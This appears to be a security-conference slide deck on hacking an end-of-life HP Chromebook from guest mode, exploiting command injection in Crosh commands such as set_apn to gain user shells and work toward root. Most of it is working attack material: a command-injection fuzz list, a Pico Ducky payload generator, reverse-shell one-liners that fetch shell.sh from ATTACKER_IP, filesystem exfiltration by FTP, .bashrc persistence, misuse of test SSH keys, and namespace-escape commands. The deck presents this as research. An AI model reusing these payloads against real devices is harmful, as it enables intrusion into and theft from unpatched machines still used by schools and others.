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What will be covered in this presentation

Living Off the Land Only!
If possible, use only the tools available from the local 
OS/environment.   CHALLENGE ACCEPTED!

1-Liners! (they are like keys)
If possible, use 1-liners and efficiencies with delivering 
payloads (opening a locked door gracefully in one quick 
motion).   LEVEL UP!

Pico Ducky! (they ARE keys)
Embed your key, into your other key, and open ‘Double 
Doors’.    BONUS ROUND!

EOL Chromebook/ChromeOS
Using an EOL Chromebook, in a default factory reset state, 
and no Developer Mode, access all available users on the 
system.  GAME ON!

Gamified Hacking, Container Breakouts, Fuzzing Strategy, LOLBinning (Living Off the Land), 
Retro Assessments, Unorthodox Methods, 1-Liners FTFW, & the Pico Ducky.



Why perform Retro Hacking/Assessments?
Inspecting legacy systems and performing assessments on EOL/EOSL products helps provide additional understanding 
as to how something was designed and supported over the life cycle (we can learn from history and make better choices 
for future designs). Often earlier models of newer products contain the schematics of evolution, and provide valuable 
insight into design processes, methodologies, and strategy used in original implementation. If you want to hack the V2, 
you should probably fully understand and be able to hack the V1 to the fullest. Also, backdoors.  : /

Putting yourself in jail in order to expand your horizons.
Self-imposed restrictions and challenging yourself will often result in elevated experiences, outcomes, and 
increased levels of knowledge and understanding. Forcing oneself to ‘Live Off the Land’ in order to be as 
thorough, tenacious, and exhaustive as possible brings out the best in ourselves, and inspires us to dig 
deeper for creative solutions and methodologies. Winning shouldn’t be our objective, but a state of being.

Gamified Efforts & LULZ/LOL!
We learn more efficiently when we have fun and in a relaxed state. Take the stress out of 
Cybersecurity by implementing Gamification where possible, and inspire organic ‘Passionate 
Curiosity’ instead of demanding it. Our best solutions often come from the most informal, 
most freethinking, positive, and enabling environments (we are all Researchers and 
Developers afterall).



TL;DR

Using an EOL Chromebook (HP Pavilion 14), in a factory reset/default state (OOBE), it is possible for the 
default Guest User to gain local system access through the Crosh shell window (by exploiting a 
Command Injection vulnerability in the ‘set_*’ series of Crosh commands) and utilize the ‘shill-scripts’ 
and ‘chronos’ user accounts, before Developer Mode has been enabled, and before any passwords have 
been assigned to those existing users.

In addition, it is possible to leverage another discovered Command Injection in the DBUS/packet capture 
functionality, to obtain ‘root’ privileges and perform multiple ‘container breakouts’ (with the assistance of 
a specially crafted Redirection Operator, and exploiting the Internal Field Separator function). Full system 
compromise was achieved, and the breakout techniques were automated with a ‘Pico-Ducky’.

🦆



Passionate Curiosity is not a Crime.

GOALS & PURPOSE
Using ‘non-destructive’ techniques, discover all areas of weakness, interest, and anomalies around the HP Pavilion 14 model 
of Chromebook, using only LOLBinning LOLWinning (Living Off The Land Binaries, Scripts, and Libraries). Knowing that this 
Chromebook has been EOL and unpatched since 2019, it should provide an interesting Kiosk-style Breakout CTF.

HARDWARE, SOFTWARE, & TOOLS
HP Pavilion 14-c001sa (https://support.hp.com/us-en/document/c03760247)
Raspberry Pi Pico (https://www.raspberrypi.com/products/raspberry-pi-pico/)
Pico Ducky (https://github.com/dbisu/pico-ducky)

● LuLZ! LOL! Kiosk Breakouts are especially fun and rewarding!
● R&D! So many EOL Chromebooks laying around and in use (Schools/Kids, Private/Public Sectors).
● Right to Repair! Wanted to learn how to create custom Chromebook distro in order to keep EOL devices secure.
● Info gathering/Practice round for performing security assessment on new Google ChromeOS device.

INSPIRATION FOR EFFORT

https://support.hp.com/us-en/document/c03760247
https://www.raspberrypi.com/products/raspberry-pi-pico/
https://github.com/dbisu/pico-ducky


Setting Up the Environment
Begin by factory resetting or Power 
Washing the Chromebook.

Powerwash: CTRL + ALT + SHIFT + R
* Hold CTRL+TAB to see debug messages on boot.

2.     Follow the on-screen instructions and the Chromebook will  powerwash (factory reset), 
auto update, and reboot before displaying the final license/terms and ‘Welcome!’ screen. 
Accept the up-to-date license, and click ‘Browse As Guest’ to begin.

Developer Mode:
Hold  ESC + REFRESH + POWER
The Chromebook will reboot into Recovery mode where you 
will need to press Ctrl+D at the Recovery screen.

Chromebook Recovery Utility:
https://chrome.google.com/webstore/detail/chromebook-r
ecovery-utili/jndclpdbaamdhonoechobihbbiimdgai

Hardware:   HP Pavilion

Arch:            64-bit Intel Celeron 847 (1.1 GHz)

Version:       Version 65.0.3325.209 (Official)

Release:      10323.67.9 stable-channel butterfly 

1.    While logged into the Chromebook, hit the following key combination twice in a row, 
otherwise hold the follow keys and hit the power button: CTRL + ALT + SHIFT + R

3.  You may now use your factory reset (Powerwashed) EOL Chromebook in Guest Mode!



https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/login/oobe.mdUseful OOBE shortcuts
Ctrl + Alt + Z: Toggle Chromevox, a screen reader bundled with Chrome.
Ctrl + Alt + E: Start enrollment flow, if the device is still unowned.
Ctrl + Alt + D: Start Demo mode setup - supported on Welcome screen only
Ctrl + Alt + R: Initialize powerwash
Ctrl + Alt + K: Enable Kiosk Mode
Ctrl + Alt + Shift + X: Enable debugging features
Ctrl + Alt + Shift + H: Enable Hangouts/Shark mode

● Boot to login screen
● Remove any added users
● rm -rf /home/chronos/Local State
● rm -rf /home/chronos/.oobe_completed
● Reboot!

How to force the out-of-box experience (OOBE)
You can force your device to redo the out-of-box experience 
(OOBE) as follows:

Out Of Box Experience, or OOBE, is a flow that goes through several sequential steps to set 
up new, unowned device. A device is owned when it is…

● enterprise enrolled, or
● at least one user has been added to the device.

In the former case, the device is owned by the enrollment domain, and device settings are 
controlled by the device policy specified by the domain administrator.

If the device is not enterprise enrolled, the first user to be added to the device becomes the 
device owner. The owner user cannot be removed unless the device is power-washed.

During device OOBE setup the user goes through the following steps:

OOBE - Out Of Box Experience

Welcome screen
Network screen
EULA screen
Update check screen
Re-enrollment (Auto Enrollment) check
GAIA sign-in screen
Enrollment screen

https://chromium.googlesource.com/chromium/src.git/+/HEAD/docs/linux/suid_sandbox_development.md
https://chromium.googlesource.com/chromium/src/+/refs/heads/main/sandbox/linux/suid/sandbox.c



Threat Modelling & Targeting
Choose target area of system to test:

1. Chrome Browser (URL bar)
2. Crosh Window (Limited shell)
3. Sideload (USB/SDCARD/Inputs)
4. Network (Wifi/Bluetooth)

Let’s start off with the Crosh Window 
because we love Linux terminals. <3

Crosh (Chromium OS Shell):
https://chromium.googlesource.com/chromiumos/platform2/+/
HEAD/crosh/README.md

INITIAL INFO GATHERING & TINKERING

“Crosh Shell runs in the same environment as the browser (same user and group, same Linux namespaces, 
and more). Any tools you run in crosh, or information you acquire, must be accessible to the chronos user.”

Load dev mode modules (“./dev.d/”): ./crosh --dev
Load removable device modules: ./crosh --removable

AUTOMATE YOUR FUZZING: Save a human, send in the robots ducky!
What should be fuzzed?    Crosh commands/parameters (get all from hitting tab or typing ‘help’)
What payloads to use?    Command Injection Payloads / Parameter Fuzzing / RCE
Method of injection?    Rubber Ducky (Simulated local console user)

● Inspect your playground/interface thoroughly for all interaction/injection points.
● Check the ‘help’ menu or try using the ‘autofill’ feature to search for commands.
● Try all the commands to get baseline, maybe some quick tampering of values.



Threat Modelling & Targeting
Choose target area of system to test:

1. Chrome Browser (URL bar)
2. Crosh Window (Limited shell)
3. Sideload (USB/SDCARD/Inputs)
4. Network (Wifi/Bluetooth)

Let’s start off with the Crosh Window 
because we love Linux terminals. <3

Crosh (Chromium OS Shell):
https://chromium.googlesource.com/chromiumos/platform2/+/
HEAD/crosh/README.md

INITIAL INFO GATHERING & TINKERING

“Crosh Shell runs in the same environment as the browser (same user and group, same Linux namespaces, 
and more). Any tools you run in crosh, or information you acquire, must be accessible to the chronos user.”

Load dev mode modules (“./dev.d/”): ./crosh --dev
Load removable device modules: ./crosh --removable

● Inspect your playground/interface thoroughly for all interaction/injection points.
● Check the ‘help’ menu or try using the ‘autofill’ feature to search for commands.
● Try all the commands to get baseline, maybe some quick tampering of values.

AUTOMATE YOUR FUZZING: Save a human, send in the robots ducky!
What should be fuzzed?    Crosh commands/parameters (get all from hitting tab or typing ‘help’)
What payloads to use?    Command Injection Payloads / Parameter Fuzzing / RCE
Method of injection? Aask Says… “Use the awesome Pico Ducky instead!”



autest
authpolicy_debug
battery_firmware
battery_test
bt_console
c
ccd_pass
chaps_debug
connectivity
cryptohome_status
dmesg
dump_emk
enroll_status
evtest
exit
ff_debug
free
help
help_advanced
inputcontrol
meminfo
memory_test
modem
modem_set_carrier
network_diag
p2p_update

commands.txt: fuzz.txt:
ping
rlz
rollback
route
set_apn
set_arpgw
set_cellular_ppp
set_time
set_wake_on_lan
storage_test_1
storage_test_2
swap
syslog
time_info
top
tpm_status
tracepath
u2f_flags
uname
update_over_cellular
upload_crashes
upload_devcoredumps
uptime
vmstat
wifi_power_save
wpa_debug

;id;
;id
;netstat -a;
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
\n/bin/ls -al\n
\n/usr/bin/id\n
\nid\n
\n/usr/bin/id;
\nid;
\n/usr/bin/id|
\nid|
;/usr/bin/id\n

;id\n
|usr/bin/id\n
|nid\n
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
a ping -i 30 127.0.0.1%0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
cat /etc/hosts $(`cat

Building Your Fuzzing/Testing Harness & Tools
Architect the best solution with what you have, and don’t worry 
about what you lack. Create new scripts & tools as necessary. 
Channel your inner MacGyver, and make B.A. proud!

FuzzyDucky.py:

Takes ‘commands.txt’ and one per line, fuzzes each 
commands ARG value with the payloads in ‘fuzz.txt’. Using 
Python, we will build the ‘payload.dd’  file for use with the 
Pico Ducky.

Publicly Available Command Injection Lists & Info
● https://owasp.org/www-community/attacks/Command_Injection
● https://portswigger.net/web-security/os-command-injection
● https://www.kitploit.com/2019/02/command-injection-payload-list.html
● https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
● https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
● https://github.com/omurugur/OS_Command_Payload_List/blob/master/OS-Command-Fuzzing.txt

Don’t Forget to use everything, including the kitchen sink!
● https://github.com/DanMcInerney/FuzzStrings/blob/master/ShortFuzzList.txt
● https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/big-list-of-naughty-strings.txt

Fuzzing with Pico Ducky



Fuzzing with Pico Ducky

autest
authpolicy_debug
battery_firmware
battery_test
bt_console
c
ccd_pass
chaps_debug
connectivity
cryptohome_status
dmesg
dump_emk
enroll_status
evtest
exit
ff_debug
free
help
help_advanced
inputcontrol
meminfo
memory_test
modem
modem_set_carrier
network_diag
p2p_update

Building Your Fuzzing/Testing Harness & Tools
Architect the best solution with what you have, and don’t worry 
about what you lack. Create new scripts & tools as necessary. 
Channel your inner MacGyver, and make B.A. proud!

FuzzyDucky.py:

Takes ‘commands.txt’ and one per line, fuzzes each 
commands ARG value with the payloads in ‘fuzz.txt’. Using 
Python, we will build the ‘payload.dd’  file for use with the 
Pico Ducky.

commands.txt: fuzz.txt:
ping
rlz
rollback
route
set_apn
set_arpgw
set_cellular_ppp
set_time
set_wake_on_lan
storage_test_1
storage_test_2
swap
syslog
time_info
top
tpm_status
tracepath
u2f_flags
uname
update_over_cellular
upload_crashes
upload_devcoredumps
uptime
vmstat
wifi_power_save
wpa_debug

Publicly Available Command Injection Lists & Info
● https://owasp.org/www-community/attacks/Command_Injection
● https://portswigger.net/web-security/os-command-injection
● https://www.kitploit.com/2019/02/command-injection-payload-list.html
● https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
● https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
● https://github.com/omurugur/OS_Command_Payload_List/blob/master/OS-Command-Fuzzing.txt

;id;
;id
;netstat -a;
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
\n/bin/ls -al\n
\n/usr/bin/id\n
\nid\n
\n/usr/bin/id;
\nid;
\n/usr/bin/id|
\nid|
;/usr/bin/id\n

;id\n
|usr/bin/id\n
|nid\n
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
a ping -i 30 127.0.0.1%0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
cat /etc/hosts $(`cat

Don’t Forget to use everything, including the kitchen sink!
● https://github.com/DanMcInerney/FuzzStrings/blob/master/ShortFuzzList.txt
● https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/big-list-of-naughty-strings.txt



FuzzyDucky.py

#!/usr/bin/python3
import sys
import os

delay = "300"
#delay = str(sys.argv[1])

commands = "commands.txt"
thefuzz = "fuzz.txt"
filename = "payload.dd"

inputfile1 = open(commands, "r")
all_commands = inputfile1.readlines()
inputfile1.close()

inputfile2 = open(thefuzz, "r")
all_fuzz = inputfile2.readlines()
inputfile2.close()

for command in all_commands:
    command = command.strip()
    for fuzz in all_fuzz:
        fuzz = fuzz.strip()
        full_command = command + " " + fuzz
        with open (filename, "a") as outputfile:        
            outputfile.write("DELAY " + delay + "\n")
            outputfile.write("STRING " + full_command + "\n")
            outputfile.write("ENTER" + "\n")

outputfile.close()
sys.exit()

1. Build ‘payload.dd’ from ‘FuzzyDucky.py’
Once you build your ‘commands.txt’ and ‘fuzz.txt’ files, it is time to run them 
through FuzzyDucky.py. Once completed a new ‘payload.dd’ file will be created 
for you for use with ‘pico-ducky’.

2. Download and Install pico-ducky and follow the directions
https://github.com/dbisu/pico-ducky

3. Copy ‘payload.dd’ to the ‘CIRCUITPY’ device in your file manager.

DELAY 300 
STRING set_apn %
ENTER 
DELAY 300 
STRING set_apn {
ENTER 
DELAY 300 
STRING set_apn ('
ENTER 
DELAY 300 
STRING set_apn (''
ENTER 
DELAY 300 
STRING cryptohome_status (''
ENTER 
DELAY 300 
STRING cryptohome_status (''
ENTER 
DELAY 300 

1

2

3

payload.dd

Raspberry Pico
Thank you Dave Bailey! 
https://github.com/dbisu



Plug the PICO DUCKY into the Chromebook!
Open up the ‘Crosh Window’ (CTRL+ALT+T) on 
the Chromebook, click on the terminal (to direct 
input focus), and plug the Pico Ducky into an 
available USB port on the Chromebook.

Take note as to which payloads generate 
anomalous command output and errors. Some 
special chars like ‘ or “ or | (single/double quotes, 
pipe) need to be input in pairs (or it can break the 
console fuzzing session). Remove commands 
that break the fuzzing process; such as exit, 
close, quit, memory tests, uploads, etc. from the 
“commands.txt” file and test them separately!



LEVEL 5

Analyzing the results!  ::  Check all output, looking for anomalies, verbose errors, or other disclosures. 

Command Injections!  :: Grind through the process of creating a successful payload. Not for the weak!

$IPF to the rescue!  ::  Use existing OS functions (or create new ones) to solve your exploit challenges.

Redirect your output!  ::  Can’t see the output of certain commands on the console? Try redirecting the output!

Some commands result in no visible output while others provide help or error msgs.
Use “1>&2” to redirect standard output, through the error redirector, to the console!

The command set_apn ‘`curl`’ results in a verbose error and indicates successful 
injection! Other observed errors disclosed eval, Getopt Flags WARN and FATAL, and 
invalid options messages.

https://www.baeldung.com/linux/ifs-shell-variable



Top 20 ‘Info Gathering’ Commands
Access & Exfiltration Tools

Discovered Communications/Exfiltration Binaries:
tar :: curl :: sftp :: scp :: ssh :: openssl
openvpn :: ping :: smbclient :: base64

SysInfo Gathering Commands:
set_apn '`id$IFS1>&2`'
set_apn '`cat$IFS/etc/passwd$IFS1>&2`'
set_apn '`tail$IFS/var/log/messages$IFS1>&2`'
set_apn '`ps$IFSaxu${IFS}1>&2`'
set_apn '`ls$IFS-alR$IFS/$IFS1>&2`'

Verify $PATH (modify as needed):
set_apn '`echo$IFS$PATH$IFS1>&2`'

Command Injection output shows signs of multiple users behind 
these jail bars. We need to investigate further, and enumerate all 
known vulnerable commands to identify process ownership.



Command Injection Exploration

Using our newly discovered Command Injection vulnerability we can 
enumerate commands, and inspect the internal file system and resources. 
Also a good time to validate who we are using the ‘id’ command.

$IFS  vs. ${IFS}
Some commands appear to require the use of curly brackets around 
IFS (ie: curl) in order to run properly (due to splitting vs. variable use 
cases). While using the ‘id’ command across vulnerable binaries, it 
was discovered that the ‘set_cellular_ppp’ command was being run 
as the ‘chronos’ user (when using $IFS as a variable), while the other 
tested commands ran as the ‘shill-scripts’ user.

Crosh Command ${IFS} - SPLITTING $IFS - VARIABLE

set_apn uid=1 (bin) uid=295 (shill-scripts)

set_arpgw uid=1 (bin) uid=295 (shill-scripts)

set_cellular_ppp uid=1 (bin) uid=1000 (chronos)

set_wake_on_lan uid=1 (bin) uid=295 (shill-scripts)

Additional Testing Needed. Let’s Hack.
Time to try and obtain a reverse shell or other point of access in 
order to verify our user, permissions, access level, and host 
environment and attached services.

Variable Use Case:
set_apn '`id$IFS1>&2`'

Resulting command:
/usr/bin/id 1>&2

Splitting Use Case:
set_apn '`id${IFS}1>&2`'

Resulting command:
id bin 1>&2

WHO ARE YOU?



LEVEL 5

Never give up! It may take trying every possible method and technique you know in order 
to get that shell…and is worth every second of effort. Being thorough, exhaustive, and 
tenacious is the key to finding needles in the haystack, and carrots in the rabbithole!

OBTAINING A REVERSE SHELL

                                          <waiting for connection>
$  id
uid=295(shill-scripts) gid=295(shill-scripts) groups=295 (shill-scripts)
$
$ /usr/bin/script -qc /bin/bash /dev/null
shill-scripts@locahost / $

crosh> set_apn '`curl${IFS}-L${IFS}http://ATTACKER_IP:88/shell.sh${IFS}|${IFS}sh`'

Initiate a ‘curl’ download of the ‘shell.sh’ file, 
where it will run locally, and provision a callback 
to the listening OpenSSL server, establishing an 
encrypted reverse shell from the Chromebook to 
the ATTACKER BOX. NOTE: For this reverse shell 
we will use the ‘set_apn’ command which runs 
as the ‘shill-scripts’ user.

root@rabbithole:~/# python -m http.server 88 &
root@rabbithole:~/# openssl req -x509  -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -batch
root@rabbithole:~/# openssl s_server -quiet -key key.pem -cert cert.pem -port 443

<waiting for connection>

/var/tmp/shell.sh:
mkfifo /tmp/lrl; /bin/sh -i < /tmp/lrl 2>&1 | openssl s_client -quiet -connect ATTACKER_IP:443 > /tmp/lrl;

Host the ‘shell.sh’ file on ATTACKER BOX in same directory 
where you run the Python simple web server. Run a local HTTP 
server on TCP port 88 (hosting the ‘shell.sh’ file), and an 
OpenSSL listener on TCP port 443.

ATTACKER BOXCHROMEBOOK

CROSH CMD:  set_apn



LEVEL 5

It appears we may have access to multiple users on the Chromebook system. Let’s 
validate this by using the ‘set_cellular_ppp’ command to generate our reverse shell, and 
upgrade our access to the ‘chronos’ user!

THE PATH OF HIGHEST PRIVILEGE

                                          <waiting for connection>
$  id
uid=1000(chronos) gid=1000(chronos) groups=1000 (chronos)
$
$ /usr/bin/script -qc /bin/bash /dev/null
chronos@locahost / $

crosh> set_cellular_ppp '`curl${IFS}-L${IFS}http://ATTACKER_IP:88/shell.sh${IFS}|${IFS}sh`'

root@rabbithole:~/# python -m http.server 88 &
root@rabbithole:~/# openssl req -x509  -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -batch
root@rabbithole:~/# openssl s_server -quiet -key key.pem -cert cert.pem -port 443

<waiting for connection>

/var/tmp/shell.sh:
mkfifo /tmp/lrl; /bin/sh -i < /tmp/lrl 2>&1 | openssl s_client -quiet -connect ATTACKER_IP:443 > /tmp/lrl;

CROSH CMD: set_cellular_ppp

Host the ‘shell.sh’ file on ATTACKER BOX in same directory 
where you run the Python simple web server. Run a local HTTP 
server on TCP port 88 (hosting the ‘shell.sh’ file), and an 
OpenSSL listener on TCP port 443.

ATTACKER BOXCHROMEBOOK

Initiate a ‘curl’ download of the ‘shell.sh’ file, 
where it will run locally, and provision a callback 
to the listening OpenSSL server, establishing an 
encrypted reverse shell from the Chromebook to 
the ATTACKER BOX. NOTE: For this reverse shell 
we will use the ‘set_cellular_ppp’ command 
which runs as the ‘chronos’ user.



 

UID/GID=1000
HOME=/home/chronos/user
SHELL=/bin/bash
PATH=/bin;/usr/bin

UID/GID=295
HOME=/dev/null
SHELL=/bin/false
PATH=/usr/bin:/usr/sbin:/bin:
  /usr/local/sbin:/usr/local/bin



 



 

OS/SYSTEM COMMANDS KERNEL INFO & LOGS



 

INTERROGATING ALL COMMANDS… ON THE ENTIRE BLOCK!



 

UPGRADING YOUR CROSH

ROOT DETECTED running the script 
“/usr/libexec/debugd/helpers/capture_utility.sh” inside 
of a minijail instance!

UPGRADE TO CROSH DEV MODE:
crosh> set_cellular_ppp ‘`crosh$IFS--dev$IFS1>&2`’
chronos@localhost / $ crosh --dev

RUNNING A PACKET CAPTURE:
crosh> packet_capture –help
crosh> packet_capture –device wlan0

NEW COMMANDS AVAILABLE!
live_in_a_coalmine, packet_capture, systraceTO  CROSH DEV MODE!



Run a local HTTP server:
python3 -m http.server 88

HTTP server/stager on TCP/88 hosts files 
for Chromebook to download.

/var/tmp/ (Persistent Storage)

/media/removable/SDCARD

/var/log/ (System Logs)

/home/chronos/user/Downloads   (Writable)
/home                                                  (Writable)

/tmp (Writable)

TCP/22

TCP/21

TCP/443

TCP/1337

Local IPv6
TCP/88

HTTP
TCP/1338

Local IPv4

ATTACKER BOX CHROMEBOOK

Run a local FTP server:
python3 -m pyftpdlib -w -p 21

File repo to accept anonymous FTP 
uploads from Chromebook.

Run a local OpenSSL server:
openssl s_server -quiet -key key.pem -cert 
cert.pem -port 443

OpenSSL listener used to establish reverse 
shells initiated from Chromebook.

Run a local SSH/SFTP Server:
/etc/init.d/sshd start

LINUX Command Line Chromebook Command Injection

WRITE TO FILE:
echo test | tee -a /var/tmp/lrlwuzhere/test

set_apn 
‘`echo${IFS}test${IFS}|${IFS}tee${IFS}-a${IFS}/var/tm
p/lrlwuzhere/test`’

TAR ALL FILES:
cd /;tar zcvf /tmp/asdf.tar.gz * .*

set_arpgw 
'`cd$IFS/;tar$IFSzcvf$IFS/tmp/asdf.tar.gz$IFS*$IFS.*`'

UPLOAD TARBALL:
curl -T /tmp/asdf.tar.gz ftp://1.3.3.7

set_arpgw 
'`curl$IFS-T$IFS/tmp/asdf.tar.gz$IFSftp://1.3.3.7`'

SFTP TRANSFERS:
sftp user@1.3.3.7:/home/user/filename
sftp user@1.3.3.7:/home/user/filename <<< $’put 
filename’

set_arpgw 
'`sftp$IFSuser@1.3.3.7:/home/user/filename

RUN LINPEAS/UPLOAD RESULTS:
curl -L 
https://github.com/carlospolop/PEASS-ng/release
s/latest/download/linpeas.sh -a | sh > 
/tmp/linpeas.txt;curl -T /tmp/linpeas.txt 
ftp://1.3.3.7

set_arpgw 
'`curl$IFS-L$IFShttps://github.com/carlospolop/PEASS
-ng/releases/latest/download/linpeas.sh$IFS|$IFSsh$I
FS>/tmp/linpeas.txt;curl$IFS-T$IFS/tmp/linpeas.txt$IF
Sftp://1.3.3.7`'

TRANSFER FILES WITH SMBCLIENT:
smbclient -L //IP_ADDR

               N/A

Run a local  OpenSSL server:
cd /var/tmp;openssl req -x509 -newkey rsa:4096 -keyout 
key.pem -out cert.pem -days 365 -nodes -batch

openssl s_server -quiet -key /var/tmp/key.pem -cert 
/var/tmp/cert.pem -port 443

Run a local SSH Server:
ssh-keygen -f /var/tmp/ssh_host_rsa_key -N '' -t rsa >/dev/null

Edit /var/tmp/sshd_config:
AuthorizedKeysFile /usr/share/chromeos-ssh-config/keys/id_rsa.pub
StrictNames no
HostKey /var/tmp/ssh_host_rsa_key
Port 1338

Start SSHD:
/usr/sbin/sshd -f “/var/tmp/sshd_config” > /var/tmp/sshdexec &

TRANSFERRING FILESENABLING SERVICES

/home/chronos/.ssh/id_rsa.pub   (SSHkeys)
/home/chronos/.ssh/id_rsa           (SSHkeys)

Run a local SMB Server:
smbserver.py sharename /sharedir

TCP/445



GTFO BINS (Shells/Nsenter/sqlite)
crosh> set_cellular_ppp ‘`bash$IFS1>&2`’
crosh> set_cellular_ppp ‘`sh$IFS1>&2`’
crosh> set_cellular_ppp ‘`nsenter$IFS1>&2`’
crosh> set_cellular_ppp ‘`nsenter$IFS/bin/bash$IFS1>&2`’
crosh> set_cellular_ppp ‘`dash$IFS1>&2`’
crosh> set_cellular_ppp ‘`sqlite3$IFS1>&2`’
             sqlite> .shell bash

Get interactive TTY:
$  /usr/bin/script -qc /bin/bash /dev/null
chronos@localhost / $  ;)

Set full $PATH:
chronos@localhost / $ PATH=$PATH:/sbin:/usr/sbin

GTFO 1-liner with persistent Redirection written to .bashrc:
crosh> set_cellular_ppp ‘`echo$IFS-n$IFS”ZXhlYyAxPiYy”|base64$IFS–decode$IFS>>/home/chronos/user/.bashrc;bash`’

Base64 payload: ZXhlYyAxPiYy  ==  “exec 1>&2”



1. SETUP/INSTALL OpenSSL Server - Create cert.pem & key.pem files in /var/tmp:
crosh> set_apn ‘`cd${IFS}/var/tmp;openssl${IFS}req${IFS}-x509${IFS}-newkey${IFS}rsa:4096${IFS}-keyout${IFS}key.pem${IFS}-out${IFS}cert.pem${IFS}-days${IFS}365${IFS}-nodes${IFS}-batch`’

2. CHROME TAB 1>  Start the OpenSSL Server (run with ‘chronos’ user):
crosh> set_cellular_ppp '`openssl${IFS}s_server$IFS-quiet$IFS-key$IFS/var/tmp/key.pem$IFS-cert$IFS/var/tmp/cert.pem$IFS-port${IFS}1337$IFS1>&2`'

3. CHROME TAB 2>  Start the OpenSSL Client (run as ‘shill-scripts’ user):
crosh> set_apn 
'`echo$IFS-n$IFS"bWtmaWZvIC90bXAvbHJsOyAvYmluL3NoIC1pIDwgL3RtcC9scmwgMj4mMSB8IG9wZW5zc2wgc19jbGllbnQgLXF1aWV0IC1jb25uZWN0IDEyNy4wLjAuMToxMzM3ID4gL3RtcC
9scmw7IHJtIC90bXAvbHJs"|base64$IFS--decode$IFS>/tmp/client.sh;chmod${IFS}777${IFS}/tmp/client.sh;sh${IFS}/tmp/client.sh${IFS}1>&2`'

Get interactive TTY:
$  /usr/bin/script -qc /bin/bash /dev/null
shill-scripts@localhost / $  ;)

Base64 payload:
bWtmaWZvIC90bXAvbHJsOyAvYmluL3NoIC1pIDwgL3RtcC9scmwgMj4mMSB8IG9wZW5zc2wgc19jbGllbnQgLXF1aWV0IC1jb25uZWN0IDEyNy4wLjAuMToxMzM3ID4gL3RtcC9scmw7IHJtIC90bXAvbHJs  ==  
mkfifo /tmp/lrl; /bin/sh -i < /tmp/lrl 2>&1 | openssl s_client -quiet -connect 127.0.0.1:1337 > /tmp/lrl; rm /tmp/lrl

Reverse shell is persistent and remains 
connected when ‘Chronos’ user logs out.



Password-less login via SSH and use of hard coded static ChromeOS test keys:

shill-scripts@localhost / $ cd /tmp
shill-scripts@localhost / $ curl https://chromium.googlesource.com/chromiumos/chromite/+archive/master/ssh_keys.tar.gz > /tmp/keys.tar.gz
shill-scripts@localhost / $ tar zxvf keys.tar.gz
shill-scripts@localhost / $ chmod 600 id_rsa*
shill-scripts@localhost / $ ssh -p1338 -i /tmp/id_rsa chronos@localhost

chronos@localhost ~ $   ; )

       
https://sites.google.com/a/chromium.org/dev/chromium-os/testing/autotest-developer-faq/ssh-test-keys-setup

1. Requires SSH is setup & ‘test keys’ are in use (/var/tmp/sshd_config):
AuthorizedKeysFile /usr/share/chromeos-ssh-config/keys/id_rsa.pub
StrictNames no
HostKey /var/tmp/ssh_host_rsa_key
Port 1338

2. SSH provisioned for ‘chronos’ user (/home/chronos/.ssh):
cd /home/chronos/ ; mkdir .ssh
curl https://chromium.googlesource.com/chromiumos/chromite/+archive/master/ssh_keys.tar.gz > /home/chronos/.ssh/keys.tar.gz

tar zxvf keys.tar.gz
chmod 600 id_rsa*



PRIVILEGE ESCALATIONS

FINDING THE WAY OUT!
find / -perm -u=s -type f 2>/dev/null
find / -writable -type d 2>/dev/null
cat /proc/PROC_ID/status | grep Cap
getcap -r / 2>/dev/null
capsh --print
getpcaps PROC_ID
netstat -a -p --unix
lsof -i
ss -xlep
curl –unix-socket /var/run/*.sock http://localhost

RABBIT HOLING FOR MORE
🦆  Can run the sudo binary (no password set)

🦆  Can write to /var/tmp (persistent storage)

🦆  Can maintain shell when ‘chronos’ logs out

🦆  Can priv esc to ‘chronos’ via SSH keys

🦆  Access to /debugd & privileged processes

🦆 Cannot run the sudo binary (nosuid/noexec/ro)

🦆 Can write to /var/tmp & /home/chronos (persistent storage)

🦆 Can run upgrade Crosh shell to ‘dev mode’

🦆 Can modify logged in users’ SQLite3 databases files

🦆 Pre-existing SSH keys in /usr/share/chromeos-ssh-config/keys



Nsenter Exploration
nsenter --target 1 --mount --uts --ipc --net --pid -- sh

nsenter --mount=/proc/1/ns/mnt -- /bin/bash

/usr/bin/nsenter --target $PID --mount --uts --ipc --net 
--pid env -i - $(sudo cat /proc/$PID/environ | xargs 

-0) bash

Nested Minijails/Processes
exec minijail0 -u <user> -g <group> /full/path/to/binary
/sbin/minijail0 -U -m’’ -M’’ -gwheel /bin/bash
/sbin/minijail0 -I U -m -M /bin/bash
/sbin/minijail0 -I U -m -M -u0 -g0 /bin/bash
/sbin/minijail0 -I U -m -M -uchronos -gchronos /bin/bash
/sbin/minijail0 -c 0x30c0 -u shill -g shill -- /bin/sh

Malfunction Logging
/home/chronos/chrome_debug.log

/var/log/chrome/chrome
/var/log/ui/ui.LATEST

tail -f /var/log/messages
tail -f /var/log/secure

dmesg -w

Nested procs, namespace overlaps, race 
conditions, mounting mayhem, SUID 
strangeness, kernel panics, overflows, 
traps & exceptions!  

Causing Crashes!



 

MORE CRASHES & OVERLAPS ANOMALIES & STRANGENESS



 

VISITING YOUR CELL MATES I

